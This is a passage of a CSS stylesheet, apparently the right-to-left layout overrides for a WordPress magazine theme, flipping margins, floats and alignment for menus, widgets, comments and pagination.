	.footer-subscribe .mc4wp-form .mdes {
		width: 100%;
		margin-left: 0;
		margin-right: 0;
	}
	.penci-grid li.list-post .item .content-list-right {
		clear: both;
	}
}
@media only screen and (max-width: 960px) {
	.column-1-2,
	.column-1-3,
	.column-1-4,
	.column-2-3,
	.column-3-4 {
		margin: 0 0 30px;
	}
	.container.has-banner #logo {
		text-align: center;
	}
	.penci-topbar-social {
		float: none;
	}
	div.penci-topbar-menu > ul > li,
	ul.penci-topbar-menu > li {
		float: none;
		margin-left: 10px;
		margin-right: 0;
	}
}
@media only screen and (max-width: 479px) {
	.penci-post-box-meta .penci-post-share-box {
		float: none;
	}
	.woocommerce-cart table.cart td.actions .coupon .input-text {
		margin-left: 0;
	}
	.comments .children,
	.comments > .comment > .comment,
	.comments > .comment > .comment > .comment,
	.comments > .comment > .comment > .comment > .comment,
	.comments > .comment > .comment > .comment > .comment > .comment {
		margin: 0 30px 0 0;
	}
	.footer-subscribe .mc4wp-form .msubmit {
		margin-right: 0;
	}
	.penci-rlt-popup .rtlpopup-heading {
		padding-right: 12px;
	}
}
.penci-bgstyle-2 .item-masonry,
.penci-fixh .penci-bgitem {
	float: right;
}
.penci-bgstyle-3 .penci-fixh .penci-bgitem {
	margin-left: 0;
}
.penci-bgstyle-3 .penci-fixh .bgitem-1,
.penci-fixh .penci-bgitem {
	margin-left: var(--pcgap);
	margin-right: 0;
}
.penci-bgstyle-4 .penci-fixh .bgitem-0,
.penci-bgstyle-4 .penci-fixh .bgitem-3,
.penci-bgstyle-5 .penci-fixh .bgitem-0,
.penci-bgstyle-6 .penci-fixh .bgitem-0,
.penci-bgstyle-6 .penci-fixh .bgitem-4,
.penci-bgstyle-7 .penci-fixh .bgitem-0,
.penci-bgstyle-7 .penci-fixh .bgitem-2,
.penci-bgstyle-8 .penci-fixh .penci-bgitem {
	margin-left: 0;
}
.penci-bgstyle-8 .penci-fixh .bgitem-1 {
	margin-left: var(--pcgap);
	margin-right: 0;
}
.penci-bgstyle-10 .penci-fixh .bgitem-0,
.penci-bgstyle-10 .penci-fixh .bgitem-3,
.penci-bgstyle-11 .penci-fixh .bgitem-0,
.penci-bgstyle-11 .penci-fixh .bgitem-3,
.penci-bgstyle-12 .penci-fixh .bgitem-0,
.penci-bgstyle-12 .penci-fixh .bgitem-3,
.penci-bgstyle-13 .penci-fixh .penci-bgitem,
.penci-bgstyle-9 .penci-fixh .bgitem-0,
.penci-bgstyle-9 .penci-fixh .bgitem-2 {
	margin-left: 0;
}
.penci-bgstyle-13 .penci-fixh .bgitem-2 {
	margin-left: var(--pcgap);
	margin-right: 0;
}
.penci-bgstyle-14 .penci-fixh .bgitem-0,
.penci-bgstyle-14 .penci-fixh .bgitem-1,
.penci-bgstyle-15 .penci-fixh .bgitem-0,
.penci-bgstyle-15 .penci-fixh .bgitem-2,
.penci-bgstyle-15 .penci-fixh .bgitem-3,
.penci-bgstyle-16 .penci-fixh .bgitem-0,
.penci-bgstyle-16 .penci-fixh .bgitem-2,
.penci-bgstyle-17 .penci-fixh .bgitem-0,
.penci-bgstyle-18 .penci-fixh .bgitem-0,
.penci-bgstyle-18 .penci-fixh .bgitem-2 {
	margin-left: 0;
}
.penci-bgstyle-19 .penci-fixh .bgitem-3,
.project-pagination .prev-post a:before {
	float: left;
}
.penci-bgstyle-20 .penci-fixh .bgitem-1 {
	float: right;
}
.container:not(.penci_sidebar)
	.post-entry.portfolio-style-3
	.portfolio-page-content {
	padding-left: 0;
	padding-right: 60px;
}
ul.portfolio-meta-lists span.title {
	padding-right: 0;
	padding-left: 10px;
}
.penci-tweets-lists .tweet-intents-inner > span:not(:last-child),
.portfolio-share-box .list-posts-share a:not(:last-child) {
	margin-right: 0;
	margin-left: 10px;
}
.penci-portfolio-meta-wrapper .penci-page-header,
.post-entry blockquote,
.post-entry blockquote .author,
.post-entry blockquote cite,
.post-entry blockquote p,
.woocommerce .page-description blockquote,
.woocommerce .page-description blockquote .author,
.woocommerce .page-description blockquote cite,
.woocommerce .page-description blockquote p,
.wpb_text_column blockquote,
.wpb_text_column blockquote .author,
.wpb_text_column blockquote cite,
.wpb_text_column blockquote p {
	text-align: right;
}
.project-pagination .next-post a:after {
	float: right;
}
.post-entry blockquote,
.woocommerce .page-description blockquote,
.wpb_text_column blockquote {
	padding: 0 46px 0 0;
}
.post-entry blockquote::before,
.woocommerce .page-description blockquote::before,
.wpb_text_column blockquote::before {
	transform: scaleX(-1);
	left: auto;
	right: 0;
}
@media screen and (max-width: 960px) {
	.penci-bgstyle-3 .penci-fixh .penci-bgitem {
		margin-left: var(--pcgap);
		margin-right: 0;
	}
	.penci-bgstyle-3 .penci-fixh .bgitem-0,
	.penci-bgstyle-3 .penci-fixh .bgitem-1,
	.penci-bgstyle-6 .penci-fixh .bgitem-1 {
		margin-left: 0;
	}
	.penci-bgstyle-6 .penci-fixh .bgitem-4 {
		margin-left: var(--pcgap);
		margin-right: 0;
	}
	.penci-bgstyle-6 .penci-fixh .bgitem-0,
	.penci-bgstyle-6 .penci-fixh .bgitem-3,
	.penci-bgstyle-7 .penci-fixh .penci-bgitem {
		margin-left: 0;
	}
	.penci-bgstyle-7 .penci-fixh .bgitem-3 {
		margin-left: var(--pcgap);
		margin-right: 0;
	}
	.penci-bgstyle-10 .penci-fixh .penci-bgitem,
	.penci-bgstyle-8 .penci-fixh .bgitem-1,
	.penci-bgstyle-9 .penci-fixh .penci-bgitem {
		margin-left: 0;
	}
	.penci-bgstyle-10 .penci-fixh .bgitem-4,
	.penci-bgstyle-11 .penci-fixh .penci-bgitem,
	.penci-bgstyle-14 .penci-fixh .penci-bgitem,
	.penci-bgstyle-15 .penci-fixh .penci-bgitem,
	.penci-bgstyle-9 .penci-fixh .bgitem-1 {
		margin-left: var(--pcgap);
		margin-right: 0;
	}
	.penci-bgstyle-11 .penci-fixh .bgitem-0,
	.penci-bgstyle-11 .penci-fixh .bgitem-2,
	.penci-bgstyle-12 .penci-fixh .penci-bgitem,
	.penci-bgstyle-14 .penci-fixh .bgitem-0,
	.penci-bgstyle-14 .penci-fixh .bgitem-2,
	.penci-bgstyle-15 .penci-fixh .bgitem-0,
	.penci-bgstyle-15 .penci-fixh .bgitem-2,
	.penci-bgstyle-15 .penci-fixh .bgitem-4 {
		margin-left: 0;
	}
	.penci-bgstyle-12 .penci-fixh .bgitem-2 {
		margin-left: var(--pcgap);
		margin-right: 0;
	}
	.penci-bgstyle-12 .penci-fixh .bgitem-0,
	.penci-bgstyle-12 .penci-fixh .bgitem-3,
	.penci-bgstyle-17 .penci-fixh,
	.penci-bgstyle-17 .penci-fixh .bgitem-0,
	.penci-bgstyle-17 .penci-fixh .bgitem-1 {
		margin-left: 0;
	}
}
@media screen and (max-width: 767px) {
	.penci-bgstyle-10 .penci-fixh .bgitem-0,
	.penci-bgstyle-10 .penci-fixh .bgitem-4,
	.penci-bgstyle-9 .penci-fixh .bgitem-1,
	.penci-bgstyle-9 .penci-fixh .bgitem-2 {
		margin-left: 0;
	}
}
.header-search-style-showup .show-search {
	left: 0;
	right: auto;
}
.header-search-style-showup .show-search form.pc-searchform input.search-input {
	border-left: 0;
	border-right: 1px solid var(--pcborder-cl);
}
.header-search-style-showup .show-search:before {
	right: auto;
	left: 5px;
}
.pcnav-lgroup ul li.pcaj-next,
.pcsoc-wrapper.pcsocs-s1 .pcsoc-icon,
.pcsoc-wrapper.pcsocs-s2 .pcsoc-icon {
	float: right;
}
.pcsoc-wrapper.pcsocs-s1 .pcsoc-like,
.pcsoc-wrapper.pcsocs-s2 .pcsoc-like {
	float: left;
}
.pcsocs-s2 .pcsoc-icon {
	margin-left: 15px;
	margin-right: 0;
}
.pcsocs-s1 .pcsoc-counter,
.pcsocs-s2 .pcsoc-counter {
	float: right;
	margin-left: 5px;
	margin-right: 0;
}
.mega-menu-list .menu-label.label-style-2:before,
.mega-menu-list > li.heading-style-style-2 > a:after,
.penci-dropdown-menu.penci-mega-full-width {
	left: auto;
	right: 0;
}
.penci-builder-element.header-social a {
	margin-right: 0;
	margin-left: 10px;
}
.penci-builder-element.header-social a:last-child {
	margin-left: 0 !important;
}
.mega-menu-list .menu-label {
	right: 100%;
	left: auto;
	margin-left: 0;
	margin-right: -20px;
}
.mega-menu-list .menu-label.label-style-3 {
	left: auto;
	right: 100%;
	margin-left: 0;
	margin-right: 10px;
}
body.rtl .mega-menu-list .menu-label.label-style-1:before,
body.rtl .mega-menu-list .menu-label.label-style-2:before {
	border-right-width: 0;
	border-left-width: 5px;
	border-right-color: inherit !important;
	border-left-color: transparent !important;
}
.mega-menu-list .menu-label.label-style-3:before {
	left: auto;
	right: -4px;
	border-width: 4px 0 4px 4px;
	border-right-color: transparent !important;
	border-left-color: inherit !important;
}
.mega-menu-list .menu-label.label-style-4:before {
	right: auto;
	left: 50%;
}
.mega-menu-list > li.heading-style-style-3 > a {
	padding-left: 12px;
	padding-right: 0;
}
.mega-menu-list > li.heading-style-style-3 > a:after,
.pcnew-share .penci-social-share-text:after,
.pcnew-share .penci-social-share-text:before {
	left: auto;
	right: 100%;
}
.side-newsfeed.pctlst {
	padding-left: 0 !important;
	padding-right: 20px !important;
	margin-left: 0 !important;
	margin-right: 5px !important;
	border-left: none;
	border-right: 1px solid;
}
.side-newsfeed.pctlst .penci-feed:after,
.side-newsfeed.pctlst .penci-feed:before {
	left: auto;
	right: -25px;
}
@media only screen and (min-width: 961px) {
	.header-search-style-default
		#navigation.header-11
		.show-search
		a.close-search {
		right: auto;
		left: 10px;
	}
	.header-search-style-default
		#navigation.header-6
		.show-search
		form.pc-searchform
		input.search-input {
		height: 80px;
		padding: 26px 0 26px 35px;
	}
	.header-search-style-default
		#navigation.header-11
		.show-search
		form.pc-searchform
		input.search-input {
		height: 80px;
		padding: 26px 20px 26px 35px;
	}
	.header-search-style-default
		#navigation.header-10
		.show-search
		form.pc-searchform
		input.search-input {
		padding: 26px 0 26px 35px;
	}
}
.penci-toc-wrapper .penci-toc-title-toggle {
	right: auto;
	left: 0;
}
.penci-toc-wrapper .penci-toc-title {
	padding-right: 0;
	padding-left: 30px;
}
.pcnew-share .penci-social-share-text {
	margin-right: 0;
	margin-left: 12px;
}
.tags-share-box.tags-share-box-2_3 .penci-social-share-text {
	margin: 0 0 0 15px;
}
.penci-social-share-text i {
	margin-right: 0;
	margin-left: 8px;
}
.pcnew-share .penci-social-share-text:before {
	border-width: 8px 8px 8px 0;
	border-color: transparent var(--pcborder-cl) transparent transparent;
}
.pcnew-share .penci-social-share-text:after {
	border-width: 6px 6px 6px 0;
	border-color: transparent var(--pcbg-cl) transparent transparent;
}
.header-search-style-overlay .show-search a.close-search {
	right: auto;
	left: 30px;
}
@media only screen and (max-width: 767px) {
	.header-search-style-overlay .show-search a.close-search {
		left: 15px;
		right: auto;
	}
	.hide-table.sticky-left .penci-toc-wrapper {
		position: absolute;
		left: 0;
	}
	.hide-table.sticky-right .penci-toc-wrapper {
		transform: translateY(calc(100vh / 2 - 25px)) translateX(-10px);
	}
}
.show-txt.post-share a .dt-share {
	margin: 0 8px 0 0;
}
.show-txt.focus-icon a {
	padding-right: 0;
	padding-left: 0;
}
.show-txt a:not(.single-like-button) {
	padding-left: 12px;
}
.pcalign-right .pcnav-lgroup {
	left: 0;
	right: auto;
	justify-content: end;
}
.pcalign-center .pcnav-lgroup ul.pcflx-nav,
.pcalign-right .pcnav-lgroup ul.pcflx-nav,
.penci_comments_widget ul li .comment-body {
	padding-left: 0;
	padding-right: 15px;
}
.pcalign-center .pcnav-lgroup,
.pcalign-left .pcnav-lgroup {
	justify-content: start;
}
.pcalign-right .pcnav-lgroup ul ul {
	left: 0;
	right: auto;
	text-align: left;
}
.pcalign-center .pcnav-lgroup ul.pcflx > li:last-child > a,
.pcalign-right .pcnav-lgroup ul.pcflx > li:last-child > a {
	padding-right: 10px !important;
	padding-left: 0 !important;
}
.pcalign-center .pcnav-lgroup ul.pcflx > li:first-child > a,
.pcalign-right .pcnav-lgroup ul.pcflx > li:first-child > a {
	padding-left: 0 !important;
}
.penci_snapchat_widget .pc-snapchat-avatar {
	transform: translateX(50%) translateY(-50%);
}
.pc-widget-advanced-tax.tax-style-1 ul li,
.widget.widget_categories ul li {
	text-align: right;
}
.penci-tweets-lists .penci-tweet:before {
	right: auto;
	left: 0;
}
.penci_posts_tabs_widget .box-tabs .tabs ul > li a {
	border-right-width: 1px;
	border-left-width: 0;
}
.penci_posts_tabs_widget .recent-comments .avatar {
	margin-right: 0;
	margin-left: 15px;
}
.penci_posts_tabs_widget .box-tabs .tabs ul > li:last-child a {
	border-left-width: 1px;
}
.pc-widget-user-lists .pc-uw-ava {
	padding-right: 0;
	padding-left: 15px;
}
.pc-tiktok-feed .tiktok-feed-item .tiktok-feed-info span i,
.pc-tiktok-feed .tiktok-feed-meta.compact i {
	margin-right: 0;
	margin-left: 4px;
}
.pc-uprofile .pc-tiktok-profile-info {
	padding-left: 0;
	padding-right: 15px;
	text-align: right;
}
.penci-testi-s2 .penci-testi-company,
.penci-testi-s2 .penci-testi-name {
	margin-left: 0;
	margin-right: 30px;
}
.penci-testi-s2 .penci-testimonail .penci-testi-bq-icon:before,
.penci-testi-s5 .penci-testimonail {
	text-align: right;
}
.penci-testi-company span:last-child {
	margin-left: 0;
	margin-right: 5px;
}
.penci-testi-s4 .penci-testi-bq-icon:before,
.penci-testi-s5 .penci-testi-bq-icon:before {
	left: 0;
	right: auto;
	transform: none;
}
.penci-testi-s4.pcimgpos-right .penci-testi-bq-icon:before {
	right: 0;
	left: auto;
	transform: rotate(180deg);
}
.penci-testi-s5 .penci-testi-blockquote:after {
	left: auto;
	right: 15px;
}
.pctesti-head .pc-testiava,
.penci-testi-s4.pcimgpos-left .pc-testiava {
	margin-right: 0;
	margin-left: 20px;
}
.penci-testi-s4.pcimgpos-right .pc-testiava {
	margin-right: 20px;
	margin-left: 0;
}
.penci-testi-s4.pcimgpos-left .pctesticont {
	text-align: right;
}
.penci-testi-s4.pcimgpos-right .pctesticont {
	text-align: left;
}
.penci-header-trans .show-search a.close-search {
	right: auto;
	left: 15px;
}
.penci-search-results .autocomplete-suggestion .suggestion-thumb {
	margin: 0 0 0 15px;
}
.header-search-style-default .search-results-wrapper .no-found-msg,
.penci-search-results .autocomplete-suggestion .suggestion-content {
	text-align: right;
}
.penci-search-form form {
	padding: 0 20px 0 0;
}
.header-search-style-showup .search-results-wrapper .penci-dropdown-results {
	left: auto;
	right: -20px;
}
.pcsml_style_1 .pcsml-item-title,
.pcsml_style_2 .pcsml-item-title,
.pcsml_style_4 .pcsml-item-title {
	padding-left: 0;
	padding-right: 15px;
}
@media only screen and (min-width: 768px) {
	.pcsml_style_2 .pcsml-figure {
		padding-right: 20px;
		padding-left: 0;
	}
}
.pcsml_style_3 .pcsml-item-number {
	left: auto;
	right: 0;
}
.pcsml-button.pcsm-back i {
	padding-left: 10px;
	padding-right: 0;
}
.pcsml-button.pcsm-back i:before {
	content: "";
}
.pcsml-button.pcsm-next i:before {
	content: "";
}
.pcsml-button.pcsm-next i {
	padding-left: 0;
	padding-right: 10px;
}
.pcsml-dropdown-wrap .pcsm-back {
	text-align: right;
}
.pcsml-dropdown-wrap .pcsm-next {
	text-align: left;
}
.pcsml-dropdown-wrap .pcsml-container::before {
	right: auto;
	left: 16px;
}
.widget .penci-pagination.penci-ajax-nav {
	flex-direction: row-reverse;
}
.penci-pagination.penci-ajax-nav .pcajx-btn i {
	order: 1;
}
.penci-pagination.penci-ajax-nav .next .pcnav-title {
	order: 5;
}
.pctopbar-login-btn li.pclogin-item img {
	margin-right: 0;
	margin-left: 5px;
}
.penci-review-summary .review_rated {
	margin: 0 0 0 5px;
}
.post-box-meta-single span time {
	display: inline-block;
}
.navigation .menu .children,
.navigation .menu .sub-menu,
.penci-dropdown-menu.penci-mega-full-width {
	left: auto;
}
.penci-go-to-top-floating {
	right: auto;
	left: 20px;
}
.pc-search-form.search-style-icon-button .search-input {
	padding-right: 20px;
	padding-left: 66px;
	border-right: 1px solid #e9e9e9;
}
.block-title-icon-left .inner-arrow i {
	margin-right: 0;
	margin-left: 8px;
}
.block-title-icon-right .inner-arrow i {
	margin-left: 0;
	margin-right: 8px;
}
.penci-rlt-popup .rltpopup-thumbnail {
	float: right;
	margin: 0 0 0 20px;
}
.post-pagination .prev-post {
	float: right;
	text-align: right;
}
.post-pagination .next-post {
	float: left;
	text-align: left;
}
.penci-post-nav-thumb {
	float: right;
	margin: 0 0 0 15px;
}
.penci-post-nav-thumb.nav-thumb-next {
	float: left;
	margin: 0 15px 0 0;
}
@media only screen and (max-width: 479px) {
	.post-pagination .next-post,
	.post-pagination .prev-post {
		text-align: center;
	}
}
@media only screen and (min-width: 1170px) {
	.penci-headline .pctopbar-item:last-child:not(:first-child) {
		float: left;
	}
}
.menu-item-has-label .menu-label {
	left: auto;
	right: 100%;
	margin-left: 0;
	margin-right: -20px;
}
.menu-item-has-label .menu-label.label-style-1:before {
	left: auto;
	right: 10px;
	border-left-width: 7px;
	border-left-color: transparent !important;
	border-right-width: 0 !important;
}
.menu-item-has-label .menu-label.label-style-2:before {
	right: 0;
	left: auto;
	border-left-width: 7px;
	border-left-color: transparent !important;
	border-right-width: 0 !important;
}
.menu-item-has-label .menu-label.label-style-4:before {
	margin-left: 0;
	margin-right: -4px;
}
.penci-dropcap-bold,
.penci-dropcap-box,
.penci-dropcap-box-outline,
.penci-dropcap-circle,
.penci-dropcap-circle-outline,
.penci-dropcap-regular {
	float: right;
	margin-right: 0;
	margin-left: 13px;
}
.pcnav-lgroup ul.pcflx > li:first-child > a {
	padding-right: 0 !important;
	padding-left: 10px !important;
}
.pcnav-lgroup ul.pcflx > li:last-child:not(:first-child) > a {
	padding-left: 0 !important;
	padding-right: 10px !important;
}
.pcalign-center .pcnav-lgroup ul.pcflx > li:first-child > a,
.pcalign-right .pcnav-lgroup ul.pcflx > li:first-child > a {
	padding-left: 10px !important;
}
.pcsl-imgpos-left .pcsl-content {
	padding-right: var(--pcsl-between);
	padding-left: 0;
}
.pcsl-imgpos-right .pcsl-content {
	padding-left: var(--pcsl-between);
	padding-right: 0;
}
.post-pagination h5 {
	padding: 0 0 0 25px;
}
.post-pagination h5.next-title {
	padding: 0 25px 0 0;
}
.pcfooter-navmenu .pcfoot-navmenu > li {
	margin-right: 0;
	margin-left: var(--pcfnmn-space);
}
.pcfooter-navmenu .pcfoot-navmenu > li:last-child {
	margin-left: 0;
}
ul.pcmg-subcol-2 > li,
ul.pcmg-subcol-3 > li {
	float: right;
	margin-left: var(--pcmega-colspace);
	margin-right: 0;
}
ul.pcmg-subcol-2 > li:nth-child(2n + 2),
ul.pcmg-subcol-3 > li:nth-child(3n + 3) {
	margin-left: 0;
}
.post-box-meta-single span {
	display: inline-block;
}
.penci_recent-posts-sc ul.penci-feed-2columns li,
.widget ul.penci-feed-2columns li {
	float: right;
}
.penci_recent-posts-sc ul.penci-2columns-featured > li:nth-child(2n),
.penci_recent-posts-sc ul.penci-2columns-feed > li:nth-child(2n + 1),
.widget ul.penci-2columns-featured > li:nth-child(2n),
.widget ul.penci-2columns-feed > li:nth-child(2n + 1) {
	margin-right: 0;
	margin-left: 6%;
}
.author-url .author-a-name,
.grid-post-box-meta .author-a-name {
	margin-right: 5px;
	margin-left: 0;
}
.penci-pagination ul.page-numbers li {
	float: right;
	margin-right: 0;
	margin-left: 10px;
}
.penci-pagination ul.page-numbers li:last-child {
	margin-left: 0;
}
#sidebar-nav .menu-item-has-label .menu-label,
.pc-dropdown-menu .menu-item-has-label .menu-label,
.penci-menu-hbg .menu-item-has-label .menu-label {
	right: auto;
}
.popularpost_item {
	padding-right: 60px;
	padding-left: 0;
}
.popularpost_list.columns-format .popularpost_item {
	padding-right: 60px;
	padding-left: 15px;
}
@media only screen and (max-width: 768px) {
	.popularpost_list.columns-format .popularpost_item {
		padding-left: 0;
	}
}
.popularpost_item .pcpopular_new_post_title a:before {
	left: auto;
	right: 0;
}
.popularpost_item.first .pcpopular_new_post_title,
.popularpost_item.first .popularpost_meta {
	padding-right: 60px;
	padding-left: 0;
}
.popularpost_list,
.widget .popularpost_list {
	padding-right: 0;
}
ul.pc-advanced-cat {
	padding-right: 0;
}
ul.pc-advanced-cat li .indicator {
	right: auto;
	left: 0;
}
ul.pc-advanced-cat.toggle-enable li .category-item-count {
	margin-right: 0;
	margin-left: 30px;
}
@media only screen and (max-width: 960px) {
	.popularpost_list.columns-format.t-col-1 .popularpost_item {
		padding-right: 60px;
		padding-left: 0;
	}
}
@media only screen and (max-width: 479px) {
	.popularpost_list.columns-format .popularpost_item,
	.popularpost_list.columns-format.m-col-1 .popularpost_item {
		padding-right: 60px;
		padding-left: 0;
	}
}
.popularpost_item.first {
	padding-right: 0;
}
#navigation.menu-style-3 .menu .penci-dropdown-menu:after,
#navigation.menu-style-3 .menu .penci-dropdown-menu:before,
#navigation.menu-style-3 .menu .sub-menu:after,
#navigation.menu-style-3 .menu .sub-menu:before,
.navigation.menu-style-3 .menu .penci-dropdown-menu:after,
.navigation.menu-style-3 .menu .penci-dropdown-menu:before,
.navigation.menu-style-3 .menu .sub-menu:after,
.navigation.menu-style-3 .menu .sub-menu:before {
	left: auto;
	right: 14px;
}
#navigation.menu-style-3 .menu .sub-menu .sub-menu:after,
#navigation.menu-style-3 .menu .sub-menu .sub-menu:before,
.navigation.menu-style-3 .menu .sub-menu .sub-menu:after,
.navigation.menu-style-3 .menu .sub-menu .sub-menu:before {
	left: auto;
	right: -6px;
}
#navigation.menu-style-3 .menu .penci-dropdown-menu:after,
#navigation.menu-style-3 .menu .sub-menu:after,
.navigation.menu-style-3 .menu .penci-dropdown-menu:after,
.navigation.menu-style-3 .menu .sub-menu:after {
	left: auto;
	right: 15px;
}
#navigation.menu-style-3 .menu .sub-menu .sub-menu:after,
.navigation.menu-style-3 .menu .sub-menu .sub-menu:after {
	left: auto;
	right: -4px;
}
#navigation ul.sub-menu > li.menu-item-has-children > a:after {
	float: left;
	content: "\f104";
}
.woocommerce-product-gallery.thumbnail-bottom
	.penci-thumbnail-image-wrapper
	figure {
	margin-right: 0;
	margin-left: 10px;
}
.penci-post-gallery-container.thumbnail-slider figure p {
	left: 15px;
	right: auto;
}
.pcrlt-style-2 .item-related-inner,
.pcrlt-style-4 .item-related-inner,
.pcrlt-style-5 .item-related-inner {
	text-align: right;
}
.pcrlt-style-2 a.penci-cat-name,
.pcrlt-style-5 .penci-cat-name {
	left: auto;
	right: 20px;
}
.pcrlt-style-4 .related-content {
	padding-left: 0;
	padding-right: 15px;
}
.heading1-style-2 .entry-content > h1:before,
.heading1-style-3 .entry-content > h1:before,
.heading1-style-4 .entry-content > h1:before,
.heading2-style-2 .entry-content > h2:before,
.heading2-style-3 .entry-content > h2:before,
.heading2-style-4 .entry-content > h2:before,
.heading3-style-2 .entry-content > h3:before,
.heading3-style-3 .entry-content > h3:before,
.heading3-style-4 .entry-content > h3:before,
.heading4-style-2 .entry-content > h4:before,
.heading4-style-3 .entry-content > h4:before,
.heading4-style-4 .entry-content > h4:before,
.heading5-style-2 .entry-content > h5:before,
.heading5-style-3 .entry-content > h5:before,
.heading5-style-4 .entry-content > h5:before {
	left: auto;
	right: 0;
}
.heading1-style-3 .entry-content > h1,
.heading1-style-4 .entry-content > h1,
.heading2-style-3 .entry-content > h2,
.heading2-style-4 .entry-content > h2,
.heading3-style-3 .entry-content > h3,
.heading3-style-4 .entry-content > h3,
.heading4-style-3 .entry-content > h4,
.heading4-style-4 .entry-content > h4,
.heading5-style-3 .entry-content > h5,
.heading5-style-4 .entry-content > h5 {
	padding-left: 0;
	padding-right: 20px;
}
.heading1-style-2 .entry-content > h1:after,
.heading2-style-2 .entry-content > h2:after,
.heading3-style-2 .entry-content > h3:after,
.heading4-style-2 .entry-content > h4:after,
.heading5-style-2 .entry-content > h5:after {
	left: 0;
	right: 20px;
}
.heading1-style-5 .entry-content > h1:before,
.heading2-style-5 .entry-content > h2:before,
.heading3-style-5 .entry-content > h3:before,
.heading4-style-5 .entry-content > h4:before,
.heading5-style-5 .entry-content > h5:before {
	right: 0;
	left: auto;
}
.penci-sponsored-label {
	margin: 0 0 0 5px !important;
}
.penci-sponsored-logo img {
	margin-right: 5px;
	margin-left: 0;
}
.pcpagp-style-5 .post-pagination h5 {
	padding: 0;
}
.post-entry.blockquote-style-3 blockquote:not(.wp-block-quote):before {
	left: 0;
	right: auto;
	transform: rotate(0);
}
.post-entry.blockquote-style-3 blockquote:not(.wp-block-quote) {
	padding: 15px 0 15px 50px;
}
.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote)::before {
	transform: translateX(50%) rotate(180deg);
}
.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote)::after,
.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote)::before,
.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote)::after {
	transform: translateX(50%);
}
@media only screen and (min-width: 768px) {
	.post-pagination.pcpagp-style-5 .next-post-inner,
	.post-pagination.pcpagp-style-5 .prev-post-inner {
		margin: -60px 0 0 60px;
		padding: 20px 0 20px 20px;
	}
	.post-pagination.pcpagp-style-5 .next-post-inner {
		margin: -60px 60px 0 0;
		padding: 20px 20px 20px 0;
	}
}
@media only screen and (max-width: 767px) {
	.penci-post-nav-thumb.nav-thumb-next {
		margin: 0;
	}
}
.pcmis-4 .penci-mega-post .penci-mega-meta,
.pcmis-5 .penci-mega-post .penci-mega-meta {
	text-align: right;
	padding: 0 20px 0 0;
}
.pcmis-3 .penci-mega-post .penci-mega-meta {
	text-align: right;
}
.pc-builder-element.pc-main-menu
	.navigation.menu-item-padding
	.menu
	> ul
	> li:not(:last-child),
.pc-builder-element.pc-main-menu
	.navigation.menu-item-padding
	ul.menu
	> li:not(:last-child) {
	margin-left: var(--pchb-main-menu-mgi);
	margin-right: 0;
}
.pc-builder-element.pc-second-menu
	.navigation.menu-item-padding
	.menu
	> ul
	> li:not(:last-child),
.pc-builder-element.pc-second-menu
	.navigation.menu-item-padding
	ul.menu
	> li:not(:last-child) {
	margin-left: var(--pchb-second-menu-mgi);
	margin-right: 0;
}
.pc-builder-element.pc-third-menu
	.navigation.menu-item-padding
	.menu
	> ul
	> li:not(:last-child),
.pc-builder-element.pc-third-menu
	.navigation.menu-item-padding
	ul.menu
	> li:not(:last-child) {
	margin-left: var(--pchb-third-menu-mgi);
	margin-right: 0;
}
.penci-post-gallery-container.thumbnail-slider figure p {
	left: 15px;
	right: auto;
}
.penci-grid[data-layout="list-boxed"] li.list-post .item {
	padding-left: 20px;
	border-left: 1px solid var(--pcborder-cl);
	padding-right: 0;
	border-right: 0;
}
.penci-grid[data-layout="list-boxed-2"] li.list-post .item {
	padding-right: 20px;
	border-right: 1px solid var(--pcborder-cl);
	padding-left: 0;
	border-left: 0;
}
.penci-grid[data-layout="list-boxed-2"] li.list-post .item .content-list-right {
	padding-left: 30px;
	padding-right: 0;
}
.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote) {
	padding: 30px 90px 30px 30px;
}
.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote)::before {
	left: auto;
	right: 40px;
	transform: scaleY(1);
}
.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote) .author,
.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote) p {
	text-align: right;
}
.post-entry.blockquote-style-7 blockquote:not(.wp-block-quote):before,
.post-entry.blockquote-style-8 blockquote:not(.wp-block-quote):before {
	transform: translateX(50%) rotate(180deg);
}
.pc-comment-s1-button i {
	margin: 0 0 0 10px;
}
.comments.pc-cms-style-2 .thecomment .comment-text span.reply,
.comments.pc-cms-style-3 .thecomment .comment-text span.reply {
	left: 30px;
	right: auto;
}
.comments.pc-cms-style-2 .thecomment .comment-text::before {
	right: -10px;
	left: auto;
	transform: translatey(-50%) rotate(90deg);
}
.pc-cms-style-3 .thecomment .comment-text {
	margin-left: 0;
	margin-right: 50px;
}
.pc-cms-style-3 .thecomment .author-img {
	margin-right: 0;
	margin-left: 20px;
}
.pc-cms-style-3 .thecomment .comment-text:after,
.pc-cms-style-3 .thecomment .comment-text:before {
	left: auto;
	right: -10px;
	border-width: 10px 0 10px 10px;
	border-color: transparent transparent transparent var(--pcborder-cl);
}
.pc-cms-style-3 .thecomment .comment-text:after {
	border-width: 8px 0 8px 8px;
	right: -8px;
	border-color: transparent transparent transparent var(--pcbg-cl);
}
@media only screen and (max-width: 767px) {
	.comments.pc-cms-style-2 .thecomment .author-img,
	.comments.pc-cms-style-3 .thecomment .author-img {
		margin-left: 10px;
		margin-right: 0;
	}
	.comments.pc-cms-style-2 .comment-text {
		margin-left: 0;
		margin-right: 40px;
	}
}
.penci-mtp-filters-wrapper.pctp-left {
	flex-direction: row-reverse;
}
.penci-mtp-filters-wrapper.pctp-right {
	flex-direction: row;
}
.penci-mtp-filters-terms ul,
.penci-mtp-filters-terms ul li {
	padding-right: 0;
}
.penci-mtp-filters-posts .pcsl-col-1.pcsl-inner .pcsl-iteminer {
	padding-right: 0;
	padding-left: 120px;
}
.penci-mtp-filters-wrapper .pcsl-inner .grid-post-box-meta.pcmtf-mt-alt,
.post-entry
	.penci-mtp-filters-wrapper
	.pcsl-inner
	.grid-post-box-meta.pcmtf-mt-alt {
	right: auto;
	left: 0;
}
@media only screen and (max-width: 767px) {
	.penci-mtp-filters-close.active::after,
	.penci-mtp-filters-mobile::after {
		right: auto;
		left: 20px;
	}
	.penci-mtp-filters-close.active,
	.penci-mtp-filters-mobile {
		padding-right: 20px;
	}
}
.penci-sidebar-content.style-22 .widget-title:before {
	left: auto;
	right: 0;
}
@media screen and (max-width: 1169px) {
